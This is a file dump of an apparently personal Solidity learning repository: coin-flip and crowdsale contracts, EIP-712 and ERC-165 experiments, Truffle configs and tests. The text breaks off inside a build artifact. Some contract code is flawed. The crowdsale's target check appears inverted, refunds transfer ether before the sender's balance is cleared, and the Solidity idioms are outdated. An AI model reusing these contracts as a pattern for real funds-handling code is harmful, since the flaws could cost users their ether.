/DecypherTv/CoinFlipper/contracts/OracleDecidingCoinFlipper.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | import "./CoinFlipper.sol"; 4 | import "./UsingOraclize.sol"; 5 | 6 | contract OracleDecidingCoinFlipper is CoinFlipper, usingOraclize { 7 | 8 | function decideWager() payable whenState(State.wagerAccepted) { 9 | oraclize_query("WolframAlpha", "flip a coin"); 10 | } 11 | 12 | function __callback(bytes32 oraclizeId, string result) { 13 | address winner = sha3(result) == sha3("heads") ? wagerMaker : wagerAccepter; 14 | transferWinningFunds(winner); 15 | } 16 | } -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = (deployer) => { 4 | // gas defined is rough estimate 5 | deployer.deploy(Migrations, { gas: 200000 }); 6 | }; 7 | -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var BlockDecidingCoinFlipper = artifacts.require("BlockDecidingCoinFlipper.sol"); 2 | var OracleDecidingCoinFlipper = artifacts.require("OracleDecidingCoinFlipper.sol"); 3 | 4 | module.exports = (deployer) => { 5 | // gas defined are rough estimates 6 | deployer.deploy(BlockDecidingCoinFlipper, { gas: 300000 }); 7 | deployer.deploy(OracleDecidingCoinFlipper, { gas: 1000000 }); 8 | }; 9 | -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | 4 | testrpc: { 5 | host: "localhost", 6 | port: 8545, 7 | network_id: "*", // Match any network id 8 | }, 9 | 10 | rinkeby: { 11 | host: "localhost", 12 | port: 8544, 13 | network_id: "4", 14 | // The default gas is larger than Rinkeby's general gas limit so we specify it explicitly here. 15 | // Generally I have specified gas explicitly when tx's are made. 16 | // I'm not sure how it can be specified for migration tx's though. 17 | // I wonder if when at max (4.71m) there's risk tx's will be ignored as a miner may only 18 | // include one tx per block which probably won't actually get them the full gas amount. 19 | gas: 3000000, 20 | gasPrice: 20000000111 // The random gasPrice helps pick out tx's in txpool 21 | } 22 | } 23 | }; 24 | -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/ts.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | var Utils = require("./utils/Web3Utils.js") 4 | // UNCOMMENT THE CONTRACT WE WANT TO PLAY WITH 5 | // var CoinFlipper = artifacts.require("./BlockDecidingCoinFlipper.sol") 6 | var CoinFlipper = artifacts.require("./OracleDecidingCoinFlipper.sol") 7 | var coinFlipper = CoinFlipper.deployed() 8 | var contractAddress = CoinFlipper.address 9 | 10 | var creator = web3.eth.coinbase 11 | var wagerCreator = web3.eth.accounts[1] 12 | var wagerAccepter = web3.eth.accounts[2] 13 | const gasPrice = 20000000004 14 | const gasLimit = 1000004 15 | 16 | // CURRENT STATE 17 | coinFlipper 18 | .then(instance => instance.state.call()) 19 | .then(currentState => 20 | console.log("Contract state (0-noWager, 1-wagerMade, 2-wagerAccepted): " + currentState.toString() 21 | + "\nContract balance, ether: " + Utils.balance(contractAddress))) 22 | 23 | // MAKE WAGER 24 | // coinFlipper 25 | // .then(instance => instance.makeWager( 26 | // { from: wagerCreator, value: Utils.etherToWei(1), gasPrice: gasPrice, gas: gasLimit })) 27 | // .then(tx => console.log("makeWager minder, contract balance: " + Utils.balance(contractAddress))) 28 | 29 | // ACCEPT WAGER 30 | // coinFlipper 31 | // .then(instance => instance.acceptWager( 32 | // { from: wagerAccepter, value: Utils.etherToWei(1), gasPrice: gasPrice, gas: gasLimit })) 33 | // .then(tx => "acceptWager mined, contract balance: " + Utils.balance(contractAddress)) 34 | 35 | // DECIDE WAGER BLOCK FLIPPER 36 | // coinFlipper 37 | // .then(instance => { 38 | // console.log("Wager creator balance before: " + Utils.balance(wagerCreator)) 39 | // console.log("Wager accepter balance before: " + Utils.balance(wagerAccepter)) 40 | // return instance.decideWager({ gasPrice: gasPrice, gas: gasLimit }) } 41 | // .then(tx => { 42 | // console.log("decideWager mined, contract balance: " + Utils.balance(contractAddress)) 43 | // console.log("Wager creator balance after: " + Utils.balance(wagerCreator)) 44 | // console.log("Wager accepter balance after: " + Utils.balance(wagerAccepter)) 45 | // }) 46 | 47 | // DECIDE WAGER ORACLIZE FLIPPER (Note we have to wait for the Oraclize callback before a decision is made 48 | // I have observed this takes roughly two blocks) 49 | coinFlipper 50 | .then(instance => { 51 | console.log("Wager creator balance before: " + Utils.balance(wagerCreator)) 52 | console.log("Wager accepter balance before: " + Utils.balance(wagerAccepter)) 53 | return instance.decideWager({ gasPrice: gasPrice, gas: gasLimit }) }) 54 | .then(tx => { 55 | console.log("decideWager mined, contract balance: " + Utils.balance(contractAddress)) 56 | console.log("Wager creator balance after: " + Utils.balance(wagerCreator)) 57 | console.log("Wager accepter balance after: " + Utils.balance(wagerAccepter)) 58 | }) 59 | 60 | module.exports = (callback) => {} -------------------------------------------------------------------------------- /DecypherTv/CoinFlipper/utils/Web3Utils.js: -------------------------------------------------------------------------------- 1 | 2 | // Note we need to leave and reopen truffle console if we change this... 3 | // 'require' caches the js files not sure how to easily prevent this. 4 | 5 | // var utils = require("./utils/Web3Utils.js") 6 | 7 | var Web3 = require('web3') 8 | // Note we must change the web3 provider port when we change the testnet port. 9 | var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545')) 10 | 11 | var acc = index => web3.eth.accounts[index] 12 | 13 | var balance = acct => web3.fromWei(web3.eth.getBalance(acct), 'ether').toNumber() 14 | var rawBalance = acct => web3.eth.getBalance(acct).toNumber() 15 | var balances = numberOfAccounts => { 16 | Array 17 | .from(Array(numberOfAccounts).keys()) 18 | .map(index => acc(index)) 19 | .forEach(account => console.log(account + " : " + balance(account))) 20 | } 21 | 22 | var unlockAccount = (acct, password) => web3.personal.unlockAccount(acct, password, 0); 23 | var unlockAccounts = (numberOfAccounts, password) => { 24 | return Array 25 | .from(Array(numberOfAccounts).keys()) 26 | .map(index => acc(index)) 27 | .map(account => unlockAccount(account, password)) 28 | .every(unlocked => true) 29 | } 30 | 31 | module.exports = { 32 | acc: acc, 33 | balance: balance, 34 | rawBalance: rawBalance, 35 | balances: balances, 36 | unlockAccount: unlockAccount, 37 | unlockAccounts: unlockAccounts, 38 | weiToEther: wei => web3.fromWei(wei, 'ether'), 39 | etherToWei: ether => web3.toWei(ether, 'ether'), 40 | gweiToWei: gwei => web3.toWei(gwei, 'gwei') 41 | } -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "new_address", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "upgrade", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "last_completed_migration", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "owner", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "address" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [ 46 | { 47 | "name": "completed", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "setCompleted", 52 | "outputs": [], 53 | "payable": false, 54 | "type": "function" 55 | }, 56 | { 57 | "inputs": [], 58 | "payable": false, 59 | "type": "constructor" 60 | } 61 | ], 62 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6101a0806100396000396000f300606060405263ffffffff60e060020a6000350416630900f0108114610042578063445df0ac146100605780638da5cb5b14610082578063fdacd576146100ae575bfe5b341561004a57fe5b61005e600160a060020a03600435166100c3565b005b341561006857fe5b61007061013d565b60408051918252519081900360200190f35b341561008a57fe5b610092610143565b60408051600160a060020a039092168252519081900360200190f35b34156100b657fe5b61005e600435610152565b005b6000805433600160a060020a03908116911614156101375781905080600160a060020a031663fdacd5766001546040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b151561012557fe5b6102c65a03f1151561013357fe5b5050505b5b5b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a039081169116141561016f5760018190555b5b5b505600a165627a7a72305820b7c139e966df941a4fa9452c110ec68b9ab9077af1233fb03fb75b08c72bd40a0029", 63 | "networks": { 64 | "1497003406584": { 65 | "events": {}, 66 | "links": {}, 67 | "address": "0x457c6d0d376d6b230fc76e2c28275b1b8bf9e16f", 68 | "updated_at": 1497006215111 69 | } 70 | }, 71 | "schema_version": "0.0.5", 72 | "updated_at": 1497006215111 73 | } -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/contracts/Crowdsale.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract Crowdsale { 4 | 5 | address public creator; 6 | uint public targetAmount; 7 | uint public campaignEnd; 8 | mapping(address => uint) public fundersContributions; 9 | address[] public contributors; 10 | 11 | event Contributed(address indexed sender, uint amount); 12 | 13 | modifier onlyCreator() { 14 | if (msg.sender != creator) throw; 15 | _; 16 | } 17 | 18 | modifier targetRaised() { 19 | if (targetAmount < this.balance) throw; 20 | _; 21 | } 22 | 23 | modifier beforeSaleEnd() { 24 | if (now > campaignEnd) throw; 25 | _; 26 | } 27 | 28 | modifier afterSaleEnd() { 29 | if (now < campaignEnd) throw; 30 | _; 31 | } 32 | 33 | // @param _campaignDuration The length of the campaign from now, in seconds. 34 | function Crowdsale(uint _targetAmount, uint _campaignDuration) { 35 | creator = msg.sender; 36 | targetAmount = _targetAmount; 37 | campaignEnd = now + _campaignDuration; 38 | } 39 | 40 | function contribute() payable beforeSaleEnd { 41 | fundersContributions[msg.sender] += msg.value; 42 | contributors.push(msg.sender); 43 | Contributed(msg.sender, msg.value); 44 | } 45 | 46 | function returnContribution() afterSaleEnd { 47 | msg.sender.transfer(fundersContributions[msg.sender]); 48 | fundersContributions[msg.sender] = 0; 49 | } 50 | 51 | function finaliseContributions() afterSaleEnd targetRaised { 52 | creator.transfer(this.balance); 53 | } 54 | 55 | function deleteContract() onlyCreator { 56 | selfdestruct(creator); 57 | } 58 | 59 | function() { 60 | throw; 61 | } 62 | 63 | } -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var Crowdsale = artifacts.require("./Crowdsale.sol") 2 | 3 | const web3 = new (require('web3'))() 4 | 5 | module.exports = function(deployer) { 6 | var campaignDuration = 60 * 60 * 2 // 2 hours in seconds 7 | var campaignTarget = web3.toWei(3, 'ether') 8 | deployer.deploy(Crowdsale, campaignTarget, campaignDuration) 9 | }; 10 | -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/test/test_crowdsale.js: -------------------------------------------------------------------------------- 1 | "use strict" 2 | 3 | var Crowdsale = artifacts.require('./Crowdsale.sol') 4 | 5 | contract("Crowdsale", (accounts) => { 6 | var crowdsale = null 7 | 8 | var campaignAmount = web3.toWei(2, 'ether') 9 | var campaignDuration = 60 * 60 * 2 // 2 hours 10 | var creator = accounts[0] 11 | 12 | beforeEach(() => { 13 | return Crowdsale.new(campaignAmount, campaignDuration, { from: creator }) 14 | .then(instance => crowdsale = instance) 15 | }) 16 | 17 | describe("contribute", () => { 18 | 19 | // This currently fails intermittently. I expect because the event doesn't have the 20 | // chance to fire before the contribute.then() is executed. I'm not sure how to 21 | // schedule the .then() until after the event has been fired. 22 | it("calls Contributed event with correct arguments", () => { 23 | var expectedSender = accounts[1] 24 | var expectedContributionAmount = web3.toWei(1, 'ether') 25 | var eventSender 26 | var eventContributionAmount 27 | 28 | var event = crowdsale.Contributed({ sender: expectedSender }) 29 | event.watch((error, response) => { 30 | event.stopWatching() 31 | eventSender = response.args.sender 32 | eventContributionAmount = response.args.amount 33 | }) 34 | 35 | return crowdsale.contribute({ from: expectedSender, value: expectedContributionAmount }) 36 | .then(tx => { 37 | assert.equal(eventSender, expectedSender) 38 | assert.equal(eventContributionAmount, expectedContributionAmount) 39 | }) 40 | }) 41 | 42 | // Probably shouldn't test this in reality. Would be assumed this works. 43 | it("doesn't call Contributed event with different index", () => { 44 | var expectedSender = "" 45 | var expectedContributionAmount = 0 46 | var eventSender = "" 47 | var eventContributionAmount = 0 48 | 49 | var event = crowdsale.Contributed({ sender: accounts[1] }) 50 | event.watch((error, response) => { 51 | eventSender = response.args.sender 52 | eventContributionAmount = response.args.amount 53 | }) 54 | 55 | return crowdsale.contribute({ from: accounts[2], value: expectedContributionAmount }) 56 | .then(tx => { 57 | event.stopWatching() 58 | assert.equal(eventSender, expectedSender) 59 | assert.equal(eventContributionAmount, expectedContributionAmount) 60 | }) 61 | }) 62 | }) 63 | }) -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | 4 | testrpc: { 5 | host: "localhost", 6 | port: 8545, 7 | network_id: "*" // Match any network id 8 | }, 9 | 10 | rinkeby: { 11 | host: "localhost", 12 | port: 8544, 13 | network_id: "4", 14 | gas: 4700000, 15 | gasPrice: 20000000111 16 | } 17 | } 18 | }; 19 | -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/ts.js: -------------------------------------------------------------------------------- 1 | "use strict" 2 | 3 | var Crowdsale = artifacts.require("./Crowdsale.sol") 4 | var crowdsale = Crowdsale.deployed() 5 | var crowdsaleAt = Crowdsale.at(Crowdsale.address) 6 | var Web3 = require('web3') 7 | var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545')) 8 | 9 | // CAMPAIGN END TIME 10 | // crowdsale 11 | // .then(instance => instance.campaignEnd.call()) 12 | // .then(campaignEnd => console.log(new Date(campaignEnd.toNumber() * 1000))) 13 | 14 | // LISTEN TO EVENT. Filtered by account 2. Stops listening after first callback. Note that events 15 | // fired in the current block will be fired as soon as .watch() is called on them, even if .watch() 16 | // happens after the event is fired but before a new block is mined. Probably useful for testing. 17 | var currentBlockNumber = web3.eth.getBlock('latest').number 18 | var event = crowdsaleAt.Contributed({ sender: web3.eth.accounts[2] }) 19 | event.watch((error, response) => { 20 | if (!error) { 21 | console.log("Sender: " + response.args.sender + "\nAmount: " + web3.fromWei(response.args.amount, 'ether')) 22 | } else { 23 | console.log(error) 24 | } 25 | event.stopWatching() 26 | }) 27 | 28 | // MAKE CONTRIBUTION 29 | // crowdsale 30 | // .then(instance => instance.contribute({from: web3.eth.accounts[2], value: web3.toWei(0.01, 'ether')})) 31 | // .then(tx => console.log("Tx Hash: " + tx.tx)) 32 | 33 | // DELETE CONTRACT 34 | // crowdsale 35 | // .then(instance => instance.deleteContract({ from: web3.eth.coinbase })) 36 | // .then(tx => console.log("Contract balance: " + web3.eth.getBalance(Crowdsale.address))) 37 | 38 | module.exports = (callback) => {} -------------------------------------------------------------------------------- /DecypherTv/Crowdsale/utils.js: -------------------------------------------------------------------------------- 1 | 2 | // Note we need to leave and reopen truffle console if we change this... 3 | // 'require' caches the js files not sure how to easily prevent this. 4 | 5 | // var utils = require("./utils.js") 6 | 7 | var Web3 = require('web3') 8 | // Note we must change the web3 provider port when we change the testnet port. 9 | var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545')) 10 | 11 | var acc = index => web3.eth.accounts[index] 12 | 13 | var balance = acct => web3.fromWei(web3.eth.getBalance(acct), 'ether').toNumber() 14 | var rawBalance = acct => web3.eth.getBalance(acct).toNumber() 15 | var balances = numberOfAccounts => { 16 | Array 17 | .from(Array(numberOfAccounts).keys()) 18 | .map(index => acc(index)) 19 | .forEach(account => console.log(account + " : " + balance(account))) 20 | } 21 | 22 | var unlockAccount = (acct, password) => web3.personal.unlockAccount(acct, password, 0); 23 | var unlockAccounts = (numberOfAccounts, password) => { 24 | return Array 25 | .from(Array(numberOfAccounts).keys()) 26 | .map(index => acc(index)) 27 | .map(account => unlockAccount(account, password)) 28 | .every(unlocked => true) 29 | } 30 | 31 | module.exports = { 32 | acc: acc, 33 | balance: balance, 34 | rawBalance: rawBalance, 35 | balances: balances, 36 | unlockAccount: unlockAccount, 37 | unlockAccounts: unlockAccounts, 38 | weiToEther: wei => web3.fromWei(wei, 'ether'), 39 | etherToWei: ether => web3.toWei(ether, 'ether'), 40 | gweiToWei: gwei => web3.toWei(gwei, 'gwei') 41 | } -------------------------------------------------------------------------------- /DecypherTv/README.md: -------------------------------------------------------------------------------- 1 | # DecypherTvTutorials (Initial experiments with Solidity) 2 | 3 | Very basic contracts including contracts from the DecypherTv tutorials and my own experimentation. Contracts from DecypherTv I implemented before watching their coresponding videos. 4 | 5 | Note: npm install is required in the root dir to get web3 if wanting to execute the 'ts.js' scripts. 6 | 7 | ### BasicEscrow 8 | Basic escrow contract written to understand the basics of Unit Testing with Truffle and to start learning Solidity. The file ts.js can be commented/uncommented and executed with 'exec ts.js' from the truffle console to play with a deployed Escrow contract. There are basic Unit tests written in Solidity and JS. 9 | 10 | ### CoinFlipper 11 | Random payout gambling contract. Two participants contribute the same amount of Ether and one of them gets it all sent to them. There are two contract implementations, one uses block hashes to determine the winner and one uses Oraclize. They both implement an abstract contract which has the same base functionality. I would like to know how to avoid using an abstract contract and use a library, perhaps that will come next. 12 | 13 | The Web3Utils is copied from the BasicEscrow project and updated to be a bit more useful. The truffle.js includes a Rinkeby config as I used the Rinkeby testnet for testing the contract that requires Oraclize. I may experiment with ethereum-bridge to enable testing the Oraclize contract on testrpc. As before there is a ts.js which can be commented in parts and executed in the truffle console to play with the deployed contracts. 14 | 15 | ### Crowdsale 16 | Crowdsale contract where the creator is the beneficiary. Primarily written to understand events and how to test them. The test written to check the event firing doesn't pass consistently. I've asked around and tried to find a solution and will update it once I do. There is a 'ts.js' as before for manual testing purposes. -------------------------------------------------------------------------------- /EIPsERCs/EIP712/contracts/EcTools.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.1; 2 | 3 | library EcTools { 4 | 5 | /** 6 | * @dev Recover signer address from a message by using his signature 7 | * @param originalMessage bytes32 message, the originalMessage is the signed message. What is recovered is the signer address. 8 | * @param signedMessage bytes signature 9 | */ 10 | function recover(bytes32 originalMessage, bytes memory signedMessage) public pure returns (address) { 11 | bytes32 r; 12 | bytes32 s; 13 | uint8 v; 14 | 15 | //Check the signature length 16 | if (signedMessage.length != 65) { 17 | return (address(0)); 18 | } 19 | 20 | // Divide the signature in r, s and v variables 21 | assembly { 22 | r := mload(add(signedMessage, 32)) 23 | s := mload(add(signedMessage, 64)) 24 | v := byte(0, mload(add(signedMessage, 96))) 25 | } 26 | 27 | // Version of signature should be 27 or 28, but 0 and 1 are also possible versions 28 | if (v < 27) { 29 | v += 27; 30 | } 31 | 32 | // If the version is correct return the signer address 33 | if (v != 27 && v != 28) { 34 | return (address(0)); 35 | } else { 36 | return ecrecover(originalMessage, v, r, s); 37 | } 38 | } 39 | 40 | function toEthereumSignedMessage(bytes32 _msg) public pure returns (bytes32) { 41 | bytes memory prefix = "\x19Ethereum Signed Message:\n32"; 42 | return keccak256(abi.encodePacked(prefix, _msg)); 43 | } 44 | 45 | function prefixedRecover(bytes32 _msg, bytes memory sig) public pure returns (address) { 46 | bytes32 ethSignedMsg = toEthereumSignedMessage(_msg); 47 | return recover(ethSignedMsg, sig); 48 | } 49 | } -------------------------------------------------------------------------------- /EIPsERCs/EIP712/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /EIPsERCs/EIP712/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/contracts/ERC165Empty.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | import "openzeppelin-solidity/contracts/introspection/ERC165.sol"; 4 | 5 | contract ERC165Empty is ERC165 { 6 | 7 | } 8 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/contracts/ERC165InterfaceCaller.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | import "openzeppelin-solidity/contracts/introspection/ERC165Checker.sol"; 4 | import "openzeppelin-solidity/contracts/introspection/IERC165.sol"; 5 | import "openzeppelin-solidity/contracts/introspection/ERC165.sol"; 6 | import "./ERC165InterfaceImplementer.sol"; 7 | 8 | /** 9 | * The assembly staticcall in the ERC165Checker is necessary to enable calling of a function `supportsInterface()` without 10 | * the need to import the interface into Solidity. To call it outside of assembly the contract would need to be imported 11 | * otherwise there would be compiler errors. The assembly staticcall also ensures calls don't change state of the called 12 | * contract prior to Solidity v0.5.0. 13 | */ 14 | contract ERC165InterfaceCaller { 15 | 16 | using ERC165Checker for address; 17 | 18 | bytes4 private constant ERC165_IMPLEMENTER_INTERFACE_ID = 0x1a78bc72; 19 | 20 | // Note that this doesn't check for 0xffffffff and the supportsInterface() interface. 21 | function callImplementation(address erc165Address) public view returns (uint256) { 22 | IERC165 erc165 = IERC165(erc165Address); 23 | 24 | if (erc165.supportsInterface(ERC165_IMPLEMENTER_INTERFACE_ID)) { 25 | ERC165InterfaceImplementer erc165InterfaceImplementer = ERC165InterfaceImplementer(erc165Address); 26 | return erc165InterfaceImplementer.someFunction(); 27 | } else { 28 | return 456; 29 | } 30 | } 31 | 32 | function callImplementationUsingLib(address erc165Address) public view returns (uint256) { 33 | if (erc165Address._supportsInterface(ERC165_IMPLEMENTER_INTERFACE_ID)) { 34 | ERC165InterfaceImplementer erc165InterfaceImplementer = ERC165InterfaceImplementer(erc165Address); 35 | return erc165InterfaceImplementer.someFunction(); 36 | } else { 37 | return 456; 38 | } 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/contracts/ERC165InterfaceImplementer.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | import "openzeppelin-solidity/contracts/introspection/ERC165.sol"; 4 | 5 | contract ERC165InterfaceImplementer is ERC165 { 6 | 7 | bytes4 public constant ERC165_INTERFACE_ID = // 0xca8b30dc; 8 | bytes4(keccak256("someFunction()")) ^ 9 | bytes4(keccak256("someOtherFunction(uint256[])")); 10 | 11 | bytes4 public constant ERC165_INTERFACE_ID_ALT = 12 | this.someFunction.selector ^ 13 | this.someOtherFunction.selector; 14 | 15 | constructor() public { 16 | _registerInterface(ERC165_INTERFACE_ID); 17 | } 18 | 19 | function someFunction() public returns (uint256) { 20 | return 123; 21 | } 22 | 23 | function someOtherFunction(uint256[] memory someArray) public { 24 | 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "requires": true, 3 | "lockfileVersion": 1, 4 | "dependencies": { 5 | "openzeppelin-solidity": { 6 | "version": "2.0.0", 7 | "resolved": "https://registry.npmjs.org/openzeppelin-solidity/-/openzeppelin-solidity-2.0.0.tgz", 8 | "integrity": "sha512-SolpxQFArtiYnlSNg3dZ9sz0WVlKtPqSOcJkXRllaZp4+Lpfqz3vxF0yoh7g75TszKPyadqoJmU7+GM/vwh9SA==" 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "openzeppelin-solidity": "^2.0.0" 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /EIPsERCs/ERC165/test/ERC165InterfaceCallerTest.js: -------------------------------------------------------------------------------- 1 | const ERC165InterfaceCaller = artifacts.require("ERC165InterfaceCaller") 2 | const ERC165InterfaceImplementer = artifacts.require("ERC165InterfaceImplementer") 3 | const ERC165Empty = artifacts.require("ERC165Empty") 4 | 5 | contract("ERC165InterfaceCaller", accounts => { 6 | 7 | let erc165InterfaceCaller, erc165InterfaceImplementer, erc165Empty 8 | 9 | beforeEach(async () => { 10 | erc165InterfaceCaller = await ERC165InterfaceCaller.new() 11 | erc165InterfaceImplementer = await ERC165InterfaceImplementer.new() 12 | erc165Empty = await ERC165Empty.new() 13 | }) 14 | 15 | it("callImplementation(address erc165Address) with implementation address returns expected result", async () => { 16 | const returnValue = await erc165InterfaceCaller.callImplementation(erc165InterfaceImplementer.address) 17 | assert.equal(returnValue, 123) 18 | }) 19 | 20 | it("callImplementation(address erc165Address) with non implementation address returns expected result", async () => { 21 | const returnValue = await erc165InterfaceCaller.callImplementation(erc165Empty.address) 22 | assert.equal(returnValue, 456) 23 | }) 24 | 25 | it("callImplementationUsingLib(address erc165Address) with implementation address returns expected result", async () => { 26 | const returnValue = await erc165InterfaceCaller.callImplementationUsingLib(erc165InterfaceImplementer.address) 27 | assert.equal(returnValue, 123) 28 | }) 29 | 30 | it("callImplementationUsingLib(address erc165Address) with non implementation address returns expected result", async () => { 31 | const returnValue = await erc165InterfaceCaller.callImplementationUsingLib(erc165Empty.address) 32 | assert.equal(returnValue, 456) 33 | }) 34 | }) -------------------------------------------------------------------------------- /EIPsERCs/ERC165/test/ERC165InterfaceImplementerTest.js: -------------------------------------------------------------------------------- 1 | const ERC165InterfaceImplementer = artifacts.require("ERC165InterfaceImplementer") 2 | 3 | contract("ERC165InterfaceImplementer", () => { 4 | 5 | let erc165InterfaceImplementer 6 | const interfaceId = "0x1a78bc72"; 7 | 8 | beforeEach(async () => { 9 | erc165InterfaceImplementer = await ERC165InterfaceImplementer.new() 10 | }) 11 | 12 | it("registers the expected Interface ID", async () => { 13 | console.log(" InterfaceId: " + await erc165InterfaceImplementer.ERC165_INTERFACE_ID()) 14 | const interfaceSupported = await erc165InterfaceImplementer.supportsInterface(interfaceId) 15 | assert.isTrue(interfaceSupported) 16 | }) 17 | }) 18 | -------------------------------------------------------------------------------- /EIPsERCs/README.md: -------------------------------------------------------------------------------- 1 | # EIP / ERC experiments 2 | 3 | Basic usage / investigation of some EIP / ERC standards 4 | 5 | ### EIP 712 Structured data signing 6 | This enables better UX when signing data. Prior to this EIP data that is signed would typically be byte strings which is unreadable. Using this EIP we can submit json looking objects with meaningful names and values for signing and verification. 7 | 8 | ### ERC 165 Contract interface detection 9 | Adds a `supportsInterface(interfaceId)` function to a contract which returns whether or not the contract supports the specified interface. InterfaceId is determined by xoring the bytes4 representation of the functions in the interface. The contract can then be cast to the expected contract type or called using assembly. 10 | -------------------------------------------------------------------------------- /Governance/BasicVote/build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "new_address", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "upgrade", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "last_completed_migration", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "owner", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "address" 38 | } 39 | ], 40 | 